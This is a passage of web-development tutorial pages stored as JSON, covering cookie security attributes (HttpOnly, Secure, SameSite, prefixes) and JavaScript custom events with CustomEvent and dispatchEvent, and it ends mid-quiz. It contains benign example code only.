Minimize cookie data\">\n    ```javascript\n    // Bad: Storing lots of data in cookies\n    document.cookie = `userData=${JSON.stringify(entireUserProfile)}`\n    \n    // Good: Store only an identifier, keep data server-side\n    document.cookie = \"userId=12345; secure; samesite=strict\"\n    // Server looks up full profile using userId\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Set explicit expiration\">\n    ```javascript\n    // Bad: Session cookie (unclear lifetime)\n    document.cookie = \"preference=dark\"\n    \n    // Good: Explicit lifetime\n    document.cookie = \"preference=dark; max-age=31536000\"  // 1 year\n    ```\n  </Accordion>\n  \n  <Accordion title=\"6. Use cookie prefixes for extra security\">\n    ```http\n    # Strongest security guarantees\n    Set-Cookie: __Host-sessionId=abc; Secure; Path=/\n    \n    # Good security\n    Set-Cookie: __Secure-token=xyz; Secure; Path=/\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Cookies:**\n\n1. **Cookies are sent to the server** — Unlike localStorage, cookies automatically travel with every HTTP request to the same domain\n\n2. **~4KB limit per cookie** — For larger data, use localStorage or sessionStorage\n\n3. **Use `HttpOnly` for sensitive cookies** — Server-set cookies with HttpOnly can't be stolen via XSS attacks\n\n4. **Always use `Secure` for sensitive data** — Ensures cookies only travel over HTTPS\n\n5. **Use `SameSite` to prevent CSRF** — `Strict` or `Lax` block cross-site request forgery attacks\n\n6. **Path and domain must match for deletion** — Deleting a cookie requires the same path/domain as when it was set\n\n7. **Third-party cookies are being phased out** — Use partitioned cookies (CHIPS) for legitimate cross-site use cases\n\n8. **`document.cookie` is quirky** — Setting adds/updates one cookie; reading returns all cookies as a string\n\n9. **Encode special characters** — Use `encodeURIComponent()` for values with spaces, semicolons, or commas\n\n10. **Choose the right storage** — Cookies for server communication, localStorage for persistence, sessionStorage for temporary state\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between session and persistent cookies?\">\n    **Session cookies** have no `Expires` or `Max-Age` attribute and are deleted when the browser closes.\n    \n    **Persistent cookies** have an explicit expiration and survive browser restarts.\n    \n    ```javascript\n    // Session cookie (deleted on browser close)\n    document.cookie = \"tempId=abc\"\n    \n    // Persistent cookie (lasts 7 days)\n    document.cookie = \"remember=true; max-age=604800\"\n    ```\n    \n    Note: Some browsers' \"session restore\" feature can resurrect session cookies!\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why can't JavaScript read HttpOnly cookies?\">\n    `HttpOnly` is a security feature that prevents JavaScript from accessing the cookie via `document.cookie` or other APIs.\n    \n    This protects against XSS (Cross-Site Scripting) attacks. If an attacker injects malicious JavaScript into your page, they can't steal session cookies that have `HttpOnly` set.\n    \n    ```javascript\n    // If server set: Set-Cookie: session=abc; HttpOnly\n    console.log(document.cookie)  // \"session=abc\" will NOT appear!\n    ```\n    \n    The cookie still works—it's sent with requests—JavaScript just can't read it.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What does SameSite=Strict prevent?\">\n    `SameSite=Strict` prevents the cookie from being sent with ANY cross-site request, including:\n    \n    - Clicking a link from another site to your site\n    - Form submissions from other sites\n    - Images, iframes, or scripts loading from other sites\n    \n    This provides strong CSRF protection but can affect usability—users clicking links from emails or other sites won't be logged in on the first request.\n    \n    `SameSite=Lax` is often a better balance—it allows cookies on top-level navigation links but blocks them on POST requests and embedded resources.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How do you delete a cookie?\">\n    Set the same cookie with `max-age=0` or an `expires` date in the past:\n    \n    ```javascript\n    // Method 1: max-age=0\n    document.cookie = \"username=; max-age=0; path=/\"\n    \n    // Method 2: expires in the past\n    document.cookie = \"username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/\"\n    ```\n    \n    **Critical:** You must use the same `path` and `domain` attributes as when the cookie was set!\n  </Accordion>\n  \n  <Accordion title=\"Question 5: When should you use cookies vs localStorage?\">\n    **Use cookies when:**\n    - The server needs the data (authentication, session tokens)\n    - You need to set `HttpOnly` for security\n    - Data is small (< 4KB)\n    \n    **Use localStorage when:**\n    - Data is client-side only (UI preferences)\n    - Data is large (> 4KB)\n    - You want to avoid adding overhead to HTTP requests\n    \n    **Use sessionStorage when:**\n    - Data should only last for the current tab\n    - Data shouldn't be shared across tabs\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What are cookie prefixes and why use them?\">\n    Cookie prefixes are special naming conventions that browsers enforce:\n    \n    - **`__Secure-`**: Cookie MUST have the `Secure` attribute\n    - **`__Host-`**: Cookie MUST have `Secure`, `Path=/`, and NO `Domain`\n    \n    ```http\n    Set-Cookie: __Host-sessionId=abc; Secure; Path=/\n    ```\n    \n    They provide defense-in-depth—even if there's a bug in your code, the browser enforces these security requirements. `__Host-` is the most restrictive, ensuring the cookie can only be set by and sent to the exact host.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between cookies and localStorage?\">\n    Cookies are automatically sent to the server with every HTTP request and have a ~4KB size limit, while localStorage stays in the browser and offers ~5–10MB. Use cookies when the server needs the data (authentication, sessions). Use localStorage for client-only data like UI preferences that doesn't need to travel with requests.\n  </Accordion>\n\n  <Accordion title=\"What does the HttpOnly cookie attribute do?\">\n    `HttpOnly` prevents JavaScript from accessing the cookie via `document.cookie`. This protects against XSS attacks — even if an attacker injects malicious JavaScript, they cannot steal HttpOnly cookies. According to MDN, HttpOnly can only be set by the server via the `Set-Cookie` header, not by client-side JavaScript.\n  </Accordion>\n\n  <Accordion title=\"What is the SameSite cookie attribute?\">\n    `SameSite` controls whether cookies are sent with cross-site requests. `Strict` blocks all cross-site sending, `Lax` (the default since Chrome 80) allows cookies on top-level navigation but blocks them on cross-site POST requests, and `None` sends cookies on all requests but requires the `Secure` attribute.\n  </Accordion>\n\n  <Accordion title=\"How do you delete a cookie in JavaScript?\">\n    Set the cookie with `max-age=0` or an `expires` date in the past using the same `path` and `domain` attributes as when it was originally set. There is no direct delete method — this is a common source of bugs when the path or domain doesn't match the original cookie.\n  </Accordion>\n\n  <Accordion title=\"Are third-party cookies being deprecated?\">\n    Yes. Safari has blocked third-party cookies by default since 2020, Firefox blocks them in Enhanced Tracking Protection, and Chrome is rolling out restrictions through 2024–2025. According to MDN, partitioned cookies (CHIPS) provide an alternative for legitimate cross-site use cases like embedded widgets.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"localStorage and sessionStorage\" icon=\"database\" href=\"/beyond/concepts/localstorage-sessionstorage\">\n    Browser storage APIs for larger data that doesn't need to go to the server\n  </Card>\n  <Card title=\"HTTP and Fetch\" icon=\"globe\" href=\"/concepts/http-fetch\">\n    Understanding HTTP requests and how cookies travel with them\n  </Card>\n  <Card title=\"IndexedDB\" icon=\"database\" href=\"/beyond/concepts/indexeddb\">\n    Client-side database for complex data storage beyond cookies and localStorage\n  </Card>\n  <Card title=\"Error Handling\" icon=\"triangle-exclamation\" href=\"/concepts/error-handling\">\n    Handling errors when cookies fail or are blocked\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Using HTTP Cookies — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies\">\n    Comprehensive guide covering cookies from both server and browser perspectives. The authoritative resource for understanding cookie mechanics.\n  </Card>\n  <Card title=\"Document.cookie — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie\">\n    JavaScript API reference for reading and writing cookies. Includes security considerations and browser compatibility.\n  </Card>\n  <Card title=\"Set-Cookie Header — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie\">\n    Complete reference for the Set-Cookie HTTP header and all its attributes. Essential for server-side cookie implementation.\n  </Card>\n  <Card title=\"Third-party Cookies — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/Third-party_cookies\">\n    Understanding third-party cookies, privacy implications, and the transition to a cookieless future.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Cookies, document.cookie — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/cookie\">\n    Clear, beginner-friendly JavaScript tutorial with practical helper functions. Includes interactive examples you can run in the browser.\n  </Card>\n  <Card title=\"SameSite Cookies Explained — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/samesite-cookies-explained\">\n    Chrome team's definitive guide to SameSite attribute and CSRF protection. Essential reading for understanding modern cookie security.\n  </Card>\n  <Card title=\"Cookies and Security — Nicholas Zakas\" icon=\"newspaper\" href=\"https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/\">\n    Deep dive into cookie security from a web security expert. Covers attack vectors and defense strategies in detail.\n  </Card>\n  <Card title=\"HTTP Cookies Explained — freeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/everything-you-need-to-know-about-cookies-for-web-development/\">\n    Comprehensive overview of cookies for web developers. Great starting point with practical examples and clear explanations.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"What Is JWT and Why Should You Use JWT — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=7Q17ubqLfaM\">\n    Kyle Cook explains JWT tokens and their relationship to cookie-based authentication. Great for understanding when to use cookies vs tokens for sessions.\n  </Card>\n  <Card title=\"Cookies vs localStorage vs sessionStorage — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=GihQAC1I39Q\">\n    Fast-paced comparison of browser storage options. Perfect for understanding when to use each storage mechanism.\n  </Card>\n  <Card title=\"HTTP Cookies Crash Course — Hussein Nasser\" icon=\"video\" href=\"https://www.youtube.com/watch?v=sovAIX4doOE\">\n    Deep technical explanation of how cookies work at the HTTP level. Covers headers, attributes, and security in detail.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/custom-events.mdx",
    "content": "---\ntitle: \"Custom Events in JavaScript\"\nsidebarTitle: \"Custom Events\"\ndescription: \"Learn JavaScript custom events. Create and dispatch CustomEvent, pass data with detail, and build event-driven architectures.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Events\"\n\"article:tag\": \"custom events, customevent, event dispatch, event-driven architecture, event detail\"\n---\n\nWhat if you could create your own events, just like `click` or `submit`? What if a shopping cart could announce \"item added!\" and any part of your app could listen and respond? How do you build components that communicate without knowing about each other?\n\n```javascript\n// Create a custom event with data\nconst event = new CustomEvent('userLoggedIn', {\n  detail: { username: 'alice', timestamp: Date.now() }\n})\n\n// Listen for the event anywhere in your app\ndocument.addEventListener('userLoggedIn', (e) => {\n  console.log(`Welcome, ${e.detail.username}!`)\n})\n\n// Dispatch the event\ndocument.dispatchEvent(event)  // \"Welcome, alice!\"\n```\n\nThe answer is **custom events**. They let you create your own event types, attach any data you want, and build applications where components communicate through events instead of direct function calls.\n\n<Info>\n**What you'll learn in this guide:**\n- Creating events with the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent) constructor\n- Dispatching events with [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent)\n- Passing data through the [`detail`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/detail) property\n- Event options: `bubbles`, `cancelable`, and when to use them\n- Building decoupled component communication\n- Differences between custom events and native browser events\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Event Bubbling and Capturing](/beyond/concepts/event-bubbling-capturing). If you're not familiar with how events propagate through the DOM, read that guide first.\n</Warning>\n\n---\n\n## What is a Custom Event?\n\nA **[custom event](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent)** is a developer-defined event that you create, dispatch, and listen for in JavaScript. Unlike built-in events like `click` or `keydown` triggered by user actions, custom events are triggered programmatically using `dispatchEvent()`. The `CustomEvent` constructor extends the base `Event` interface, adding a `detail` property for passing data to listeners. [Can I Use data](https://caniuse.com/customevent) shows the `CustomEvent` constructor is supported in over 98% of browsers globally.\n\n<Note>\nCustom events work with any [`EventTarget`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget), including DOM elements, the `document`, `window`, and even custom objects that extend `EventTarget`.\n</Note>\n\n---\n\n## The Radio Station Analogy\n\nThink of custom events like a radio broadcast:\n\n1. **The radio station (dispatcher)** broadcasts a message on a specific frequency\n2. **Anyone with a radio (listeners)** tuned to that frequency receives the message\n3. **The station doesn't know who's listening** - it just broadcasts\n4. **Listeners don't need to know where the station is** - they just tune in\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    CUSTOM EVENTS: THE RADIO ANALOGY                          │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   BROADCASTING (Dispatching)                                                 │\n│   ─────────────────────────                                                  │\n│                                                                              │\n│   ┌─────────────┐                                                            │\n│   │   STATION   │ ──── dispatchEvent() ────►  📻 \"cart:updated\"              │\n│   │  (Element)  │                              frequency (event type)        │\n│   └─────────────┘                                                            │\n│                                                                              │\n│   LISTENING (Subscribing)                                                    │\n│   ───────────────────────                                                    │\n│                                                                              │\n│              📻 \"cart:updated\"                                               │\n│                    │                                                         │\n│         ┌─────────┼─────────┐                                                │\n│         ▼         ▼         ▼                                                │\n│    ┌────────┐ ┌────────┐ ┌────────┐                                         │\n│    │ Header │ │ Badge  │ │ Total  │   All tuned to same frequency            │\n│    │Counter │ │ Icon   │ │Display │   All receive the broadcast              │\n│    └────────┘ └────────┘ └────────┘                                         │\n│                                                                              │\n│   The station doesn't know (or care) who's listening.                        │\n│   Listeners don't know (or care) where the broadcast comes from.             │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\nThis decoupling is the superpower of custom events. As MDN's guide on [creating and triggering events](https://developer.mozilla.org/en-US/docs/Web/Events/Creating_and_triggering_events) explains, this pub/sub pattern lets components communicate without importing each other or knowing each other exists.\n\n---\n\n## Creating Custom Events\n\n### The CustomEvent Constructor\n\nTo create a custom event, use the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent) constructor:\n\n```javascript\nconst event = new CustomEvent('eventName', options)\n```\n\nThe constructor takes two arguments:\n1. **`type`** (required) - A string for the event name (case-sensitive)\n2. **`options`** (optional) - An object with configuration\n\n```javascript\n// Simplest custom event - just a name\nconst simpleEvent = new CustomEvent('hello')\n\n// Custom event with data\nconst dataEvent = new CustomEvent('userAction', {\n  detail: { action: 'click', target: 'button' }\n})\n\n// Custom event with all options\nconst fullEvent = new CustomEvent('formSubmit', {\n  detail: { formId: 'login', data: { user: 'alice' } },\n  bubbles: true,      // Event bubbles up the DOM\n  cancelable: true    // preventDefault() will work\n})\n```\n\n### Event Options Explained\n\n| Option | Default | Description |\n|--------|---------|-------------|\n| `detail` | `null` | Any data you want to pass to listeners |\n| `bubbles` | `false` | If `true`, event propagates up through ancestors |\n| `cancelable` | `false` | If `true`, `preventDefault()` can cancel the event |\n| `composed` | `false` | If `true`, event can cross shadow DOM boundaries |\n\n<Tip>\n**Naming convention:** Use lowercase with colons or hyphens for namespacing: `cart:updated`, `user:logged-in`, `modal-opened`. This prevents collision with future browser events and makes your events easy to identify.\n</Tip>\n\n---\n\n## Passing Data with detail\n\nThe `detail` property is what makes `CustomEvent` special. It can hold any JavaScript value:\n\n```javascript\n// Primitive values\nnew CustomEvent('count', { detail: 42 })\nnew CustomEvent('message', { detail: 'Hello!' })\n\n// Objects (most common)\nnew CustomEvent('userLoggedIn', {\n  detail: {\n    userId: 123,\n    username: 'alice',\n    timestamp: Date.now()\n  }\n})\n\n// Arrays\nnew CustomEvent('itemsSelected', {\n  detail: ['item1', 'item2', 'item3']\n})\n\n// Even functions (though rarely needed)\nnew CustomEvent('callback', {\n  detail: { getText: () => document.title }\n})\n```\n\n### Accessing detail in Listeners\n\nThe `detail` property is read-only and accessed through the event object:\n\n```javascript\ndocument.addEventListener('userLoggedIn', (event) => {\n  // Access the detail property\n  console.log(event.detail.username)  // \"alice\"\n  console.log(event.detail.userId)    // 123\n  \n  // detail is read-only - this won't work\n  event.detail = { different: 'data' }  // Silently fails\n  \n  // But you CAN mutate the object's properties (not recommended)\n  event.detail.username = 'bob'  // Works, but avoid this\n})\n```\n\n<Warning>\nThe `detail` property itself is read-only, but if it contains an object, that object's properties can be mutated. Avoid mutating `event.detail` in listeners as it can cause confusing bugs when multiple listeners handle the same event.\n</Warning>\n\n---\n\n## Dispatching Events\n\n### The dispatchEvent() Method\n\nTo trigger a custom event, call [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent) on any element:\n\n```javascript\nconst button = document.querySelector('#myButton')\n\n// Create the event\nconst event = new CustomEvent('customClick', {\n  detail: { clickCount: 5 }\n})\n\n// Dispatch it on the button\nbutton.dispatchEvent(event)\n```\n\n### Dispatching on Different Targets\n\nYou can dispatch events on any `EventTarget`:\n\n```javascript\n// On a specific element\ndocument.querySelector('#cart').dispatchEvent(event)\n\n// On the document (global events)\ndocument.dispatchEvent(event)\n\n// On window (also global)\nwindow.dispatchEvent(event)\n\n// On any element\nsomeElement.dispatchEvent(event)\n```\n\n<Tabs>\n  <Tab title=\"Element-Level Events\">\n    ```javascript\n    // Good for component-specific events\n    const cart = document.querySelector('#shopping-cart')\n    \n    cart.addEventListener('cart:updated', (e) => {\n      console.log('Cart changed:', e.detail.items)\n    })\n    \n    // Later, when cart changes...\n    cart.dispatchEvent(new CustomEvent('cart:updated', {\n      detail: { items: ['apple', 'banana'] }\n    }))\n    ```\n  </Tab>\n  <Tab title=\"Document-Level Events\">\n    ```javascript\n    // Good for app-wide events\n    document.addEventListener('app:themeChanged', (e) => {\n      console.log('Theme is now:', e.detail.theme)\n    })\n    \n    // From anywhere in the app...\n    document.dispatchEvent(new CustomEvent('app:themeChanged', {\n      detail: { theme: 'dark' }\n    }))\n    ```\n  </Tab>\n</Tabs>\n\n### Important: dispatchEvent is Synchronous\n\nUnlike native browser events (which are processed asynchronously through the event loop), `dispatchEvent()` is **synchronous**. As the [W3C DOM specification](https://dom.spec.whatwg.org/#dom-eventtarget-dispatchevent) states, dispatching is a synchronous operation — all listeners execute immediately before `dispatchEvent()` returns:\n\n```javascript\nconsole.log('1: Before dispatch')\n\ndocument.addEventListener('myEvent', () => {\n  console.log('2: Inside listener')\n})\n\ndocument.dispatchEvent(new CustomEvent('myEvent'))\n\nconsole.log('3: After dispatch')\n\n// Output:\n// 1: Before dispatch\n// 2: Inside listener  <-- Runs immediately!\n// 3: After dispatch\n```\n\n<Note>\nThis synchronous behavior means you can use the return value of `dispatchEvent()` to check if any listener called `preventDefault()`.\n</Note>\n\n---\n\n## Listening for Custom Events\n\nUse [`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) to listen for custom events, just like native events:\n\n```javascript\n// Add a listener\nelement.addEventListener('myCustomEvent', (event) => {\n  console.log('Received:', event.detail)\n})\n\n// You can add multiple listeners for the same event\nelement.addEventListener('myCustomEvent', handler1)\nelement.addEventListener('myCustomEvent', handler2)  // Both will fire\n\n// Remove a listener when no longer needed\nelement.removeEventListener('myCustomEvent', handler1)\n```\n\n<Warning>\n**Don't use `on` properties for custom events!** Unlike built-in events, custom events don't have corresponding `onevent` properties. `element.onmyCustomEvent` won't work - you must use `addEventListener()`.\n\n```javascript\n// ✗ This doesn't work\nelement.onmyCustomEvent = handler  // undefined, does nothing\n\n// ✓ This works\nelement.addEventListener('myCustomEvent', handler)\n```\n</Warning>\n\n---\n\n## Event Bubbling with Custom Events\n\nBy default, custom events **don't bubble**. Set `bubbles: true` if you want the event to propagate up through ancestor elements:\n\n```javascript\n// Without bubbles (default) - only direct listeners receive the event\nconst nonBubblingEvent = new CustomEvent('test', {\n  detail: { value: 1 }\n})\n\n// With bubbles - ancestors can also listen\nconst bubblingEvent = new CustomEvent('test', {\n  detail: { value: 2 },\n  bubbles: true\n})\n```\n\n### Bubbling Example\n\n```javascript\n// HTML: <div id=\"parent\"><button id=\"child\">Click</button></div>\n\nconst parent = document.querySelector('#parent')\nconst child = document.querySelector('#child')\n\n// Listen on parent\nparent.addEventListener('customClick', (e) => {\n  console.log('Parent heard:', e.detail.message)\n})\n\n// Dispatch from child WITHOUT bubbles\nchild.dispatchEvent(new CustomEvent('customClick', {\n  detail: { message: 'no bubbles' }\n}))\n// Parent hears nothing!\n\n// Dispatch from child WITH bubbles\nchild.dispatchEvent(new CustomEvent('customClick', {\n  detail: { message: 'with bubbles' },\n  bubbles: true\n}))\n// Parent logs: \"Parent heard: with bubbles\"\n```\n\n<Tip>\nUse `bubbles: true` when you want ancestor elements to be able to listen for events from their descendants. This is essential for [Event Delegation](/beyond/concepts/event-delegation) patterns.\n</Tip>\n\n---\n\n## Canceling Custom Events\n\nIf you create an event with `cancelable: true`, listeners can call `preventDefault()` to signal that the default action should be canceled:\n\n```javascript\nconst button = document.querySelector('#deleteButton')\n\n// Listener can prevent the action\ndocument.addEventListener('item:delete', (event) => {\n  if (!confirm('Are you sure you want to delete?')) {\n    event.preventDefault()  // Signal cancellation\n  }\n})\n\n// Dispatch and check if it was canceled\nfunction deleteItem(itemId) {\n  const event = new CustomEvent('item:delete', {\n    detail: { itemId },\n    cancelable: true  // Required for preventDefault to work!\n  })\n  \n  const wasAllowed = button.dispatchEvent(event)\n  \n  if (wasAllowed) {\n    // No listener called preventDefault\n    console.log('Deleting item:', itemId)\n  } else {\n    // A listener called preventDefault\n    console.log('Deletion was canceled')\n  }\n}\n```\n\n### Return Value of dispatchEvent\n\n`dispatchEvent()` returns:\n- `true` if no listener called `preventDefault()`\n- `false` if any listener called `preventDefault()` (and event was `cancelable`)\n\n```javascript\nconst event = new CustomEvent('action', { cancelable: true })\n\nelement.addEventListener('action', (e) => {\n  e.preventDefault()\n})\n\nconst result = element.dispatchEvent(event)\nconsole.log(result)  // false - event was canceled\n```\n\n---\n\n## Component Communication Pattern\n\nCustom events shine when building decoupled components that need to communicate:\n\n```javascript\n// Shopping Cart Component\nclass ShoppingCart {\n  constructor(element) {\n    this.element = element\n    this.items = []\n  }\n  \n  addItem(item) {\n    this.items.push(item)\n    \n    // Announce the change - anyone can listen!\n    this.element.dispatchEvent(new CustomEvent('cart:itemAdded', {\n      detail: { item, totalItems: this.items.length },\n      bubbles: true\n    }))\n  }\n  \n  removeItem(itemId) {\n    this.items = this.items.filter(i => i.id !== itemId)\n    \n    this.element.dispatchEvent(new CustomEvent('cart:itemRemoved', {\n      detail: { itemId, totalItems: this.items.length },\n      bubbles: true\n    }))\n  }\n}\n\n// Header Badge - listens for cart events\nclass CartBadge {\n  constructor(element) {\n    this.element = element\n    \n    // Listen for ANY cart event that bubbles up\n    document.addEventListener('cart:itemAdded', (e) => {\n      this.update(e.detail.totalItems)\n    })\n    \n    document.addEventListener('cart:itemRemoved', (e) => {\n      this.update(e.detail.totalItems)\n    })\n  }\n  \n  update(count) {\n    this.element.textContent = count\n  }\n}\n\n// These components don't import each other - they communicate through events!\n```\n\nThis pattern keeps components loosely coupled. The cart doesn't know the badge exists, and the badge doesn't know where cart events come from.\n\n---\n\n## Custom Events vs Native Events\n\n### The isTrusted Property\n\nOne key difference: custom events have `event.isTrusted` set to `false`:\n\n```javascript\n// Native click from user\nbutton.addEventListener('click', (e) => {\n  console.log(e.isTrusted)  // true - real user action\n})\n\n// Custom event from code\nbutton.addEventListener('customClick', (e) => {\n  console.log(e.isTrusted)  // false - script-generated\n})\n\nbutton.dispatchEvent(new CustomEvent('customClick'))\n```\n\n### Key Differences Table\n\n| Feature | Native Events | Custom Events |\n|---------|--------------|---------------|\n| Triggered by | Browser/User | Your code |\n| `isTrusted` | `true` | `false` |\n| Processing | Asynchronous | Synchronous |\n| `on*` properties | Yes (`onclick`) | No |\n| `detail` property | No | Yes |\n| Default `bubbles` | Varies by event | `false` |\n\n---\n\n## Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"1. Forgetting bubbles: true\">\n    The most common mistake is expecting events to bubble when they don't:\n    \n    ```javascript\n    // ✗ Won't bubble - parent won't hear it\n    child.dispatchEvent(new CustomEvent('notify', {\n      detail: { message: 'hello' }\n    }))\n    \n    // ✓ Will bubble up to ancestors\n    child.dispatchEvent(new CustomEvent('notify', {\n      detail: { message: 'hello' },\n      bubbles: true\n    }))\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Using onclick for custom events\">\n    Custom events don't have corresponding `on*` properties:\n    \n    ```javascript\n    // ✗ Does nothing - onmyEvent doesn't exist\n    element.onmyEvent = () => console.log('fired')\n    \n    // ✓ Use addEventListener instead\n    element.addEventListener('myEvent', () => console.log('fired'))\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Dispatching on the wrong element\">\n    Events only reach listeners on the target and (if bubbling) its ancestors:\n    \n    ```javascript\n    // Listener on #sidebar\n    sidebar.addEventListener('update', handler)\n    \n    // ✗ Dispatching on #header - sidebar won't hear it\n    header.dispatchEvent(new CustomEvent('update'))\n    \n    // ✓ Dispatch on document for truly global events\n    document.dispatchEvent(new CustomEvent('update'))\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Forgetting cancelable: true\">\n    `preventDefault()` silently does nothing without `cancelable: true`:\n    \n    ```javascript\n    // ✗ preventDefault won't work\n    const event = new CustomEvent('submit')\n    element.addEventListener('submit', e => e.preventDefault())\n    element.dispatchEvent(event)  // Returns true even with preventDefault!\n    \n    // ✓ Add cancelable: true\n    const event = new CustomEvent('submit', { cancelable: true })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Assuming asynchronous execution\">\n    Unlike native events, `dispatchEvent()` is synchronous:\n    \n    ```javascript\n    let value = 'before'\n    \n    element.addEventListener('sync', () => {\n      value = 'inside'\n    })\n    \n    element.dispatchEvent(new CustomEvent('sync'))\n    \n    // value is 'inside' immediately - not 'before'!\n    console.log(value)  // \"inside\"\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Best Practices\n\n<AccordionGroup>\n  <Accordion title=\"1. Use namespaced event names\">\n    Prefix event names to avoid collisions and improve clarity:\n    \n    ```javascript\n    // ✓ Good - clear namespace\n    new CustomEvent('cart:itemAdded')\n    new CustomEvent('modal:opened')\n    new CustomEvent('user:loggedIn')\n    \n    // ✗ Avoid - could conflict with future browser events\n    new CustomEvent('update')\n    new CustomEvent('change')\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Always include relevant data in detail\">\n    Pass enough information for listeners to act without needing other context:\n    \n    ```javascript\n    // ✗ Not enough context\n    new CustomEvent('item:deleted', {\n      detail: { success: true }\n    })\n    \n    // ✓ Includes all relevant data\n    new CustomEvent('item:deleted', {\n      detail: {\n        itemId: 123,\n        itemName: 'Widget',\n        deletedAt: Date.now(),\n        remainingItems: 5\n      }\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Document your custom events\">\n    Treat custom events like an API - document what they do and what data they carry:\n    \n    ```javascript\n    /**\n     * Fired when an item is added to the cart\n     * @event cart:itemAdded\n     * @type {CustomEvent}\n     * @property {Object} detail\n     * @property {string} detail.itemId - The ID of the added item\n     * @property {string} detail.itemName - The name of the item\n     * @property {number} detail.quantity - Quantity added\n     * @property {number} detail.totalItems - New total items in cart\n     */\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Clean up event listeners\">\n    Remove listeners when components are destroyed to prevent memory leaks:\n    \n    ```javascript\n    class Component {\n      constructor() {\n        this.handleEvent = this.handleEvent.bind(this)\n        document.addEventListener('app:update', this.handleEvent)\n      }\n      \n      handleEvent(e) {\n        // Handle the event\n      }\n      \n      destroy() {\n        // Clean up!\n        document.removeEventListener('app:update', this.handleEvent)\n      }\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Custom Events:**\n\n1. **Create with `new CustomEvent(type, options)`** - The constructor takes an event name and optional configuration object\n\n2. **Pass data with `detail`** - The `detail` property can hold any JavaScript value and is accessible in listeners via `event.detail`\n\n3. **Dispatch with `dispatchEvent()`** - Call this method on any element to fire the event; it executes synchronously\n\n4. **Set `bubbles: true` for propagation** - By default, custom events don't bubble; enable it explicitly if needed\n\n5. **Set `cancelable: true` for `preventDefault()`** - Without this option, `preventDefault()` silently does nothing\n\n6. **Use `addEventListener()`, not `on*`** - Custom events don't have corresponding `onclick`-style properties\n\n7. **Custom events have `isTrusted: false`** - This distinguishes them from real user-initiated events\n\n8. **Dispatch returns whether event was canceled** - `dispatchEvent()` returns `false` if any listener called `preventDefault()`\n\n9. **Use namespaced event names** - Prefix with component/feature name like `cart:updated` or `modal:closed`\n\n10. **Events enable loose coupling** - Components can communicate without importing or knowing about each other\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the output?\">\n    ```javascript\n    const event = new CustomEvent('test', {\n      detail: { value: 42 }\n    })\n    \n    console.log(event.detail.value)\n    console.log(event.isTrusted)\n    ```\n    \n    **Answer:**\n    ```\n    42\n    false\n    ```\n    \n    The `detail.value` is `42` as set in the constructor. `isTrusted` is `false` because the event was created programmatically, not by a real user action.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Will the parent hear this event?\">\n    ```javascript\n    // HTML: <div id=\"parent\"><button id=\"child\">Click</button></div>\n    \n    parent.addEventListener('notify', () => console.log('Parent heard it'))\n    \n    child.dispatchEvent(new CustomEvent('notify', {\n      detail: { message: 'hello' }\n    }))\n    ```\n    \n    **Answer:**\n    \n    No, the parent will not hear the event. 